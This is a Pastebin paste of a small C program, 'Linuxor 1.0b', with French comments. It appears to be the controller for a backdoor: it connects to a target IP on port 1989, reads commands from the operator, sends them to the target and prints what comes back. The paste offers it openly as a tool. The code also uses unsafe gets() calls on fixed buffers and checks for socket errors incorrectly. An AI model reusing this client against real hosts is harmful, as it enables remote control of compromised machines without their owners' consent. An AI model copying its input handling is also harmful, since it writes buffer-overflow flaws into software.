Advertisement
Guest User

Untitled

a guest
Jun 28th, 2017
66
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 2.09 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <sys/types.h>
  4. #include <sys/socket.h>
  5. #include <netinet/in.h>
  6. #include <unistd.h>
  7.  
  8. void ascii_linuxor();
  9.  
  10. int main()
  11. {
  12.     char ip_cible[16];
  13.     char buffer[50];
  14.     char reponse[10+1];
  15.     struct sockaddr_in sin;
  16.     int backport=0;
  17.    
  18.     system("clear");
  19.     ascii_linuxor();
  20.    
  21.     printf("\nentrez l'ip de la cible : ");
  22.     gets(ip_cible);
  23.    
  24.     sin.sin_family = AF_INET;
  25.     sin.sin_addr.s_addr = inet_addr(ip_cible);
  26.     sin.sin_port = htons(1989);
  27.    
  28.     printf("\nouverture du socket");
  29.     backport = socket(AF_INET, SOCK_STREAM, 0);     // Création du socket
  30.     if (backport == 0)
  31.     {
  32.         perror("socket()");
  33.         return -1;
  34.     }
  35.     else
  36.         printf ("       OK");
  37.        
  38.     printf("\nconnexion à la cible");
  39.     if (connect(backport, (struct sockaddr *)&sin, sizeof(sin)) < 0)
  40.     {
  41.         perror("connect()");
  42.         return -1;
  43.     }
  44.     else
  45.         printf ("       OK");
  46.    
  47.     while (1)
  48.     {
  49.         sprintf(buffer, ""); // reset du buffer
  50.        
  51.         printf ("\nUser/$: ");
  52.         gets(buffer);
  53.  
  54.         send(backport, buffer, sizeof(buffer), 0); // on envoie la commande
  55.  
  56.         sprintf(reponse, ""); // reset du buffer
  57.        
  58.         recv(backport, reponse, sizeof(reponse), 0);        // on attends la première réponse
  59.         printf ("réponse : %s\n", reponse);   
  60.        
  61.         sprintf(reponse, ""); // reset du buffer
  62.  
  63.         recv(backport, reponse, sizeof(reponse), 0);        // on attends la deuxieme réponse
  64.         printf ("réponse : %s\n", reponse);
  65.            
  66.     }
  67.        
  68.        
  69.     close(backport);
  70.     return 0;
  71. }
  72.  
  73. void ascii_linuxor()
  74. {
  75.     printf("###            #\n");
  76.     printf("####                ########     #     ##  ###   ###    ######      ########\n");
  77.     printf("###           ###   ##      ##  ##     ##    ## ###    ##    ##     ##     ##\n");
  78.     printf("###           ###   ##      ##  ##     ##     ###     ##      ##    ##\n");
  79.     printf("####          ##    ##      ##  ##     ##    ### ##    ##    ##     ##\n");
  80.     printf("#########     ###   ##      ##  ##     ##   ###   ###   ##  ##      ##\n");
  81.     printf("######################       #  ######### ####     ###################\n");
  82.     printf("                                                                       1.0b\n\n");
  83. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement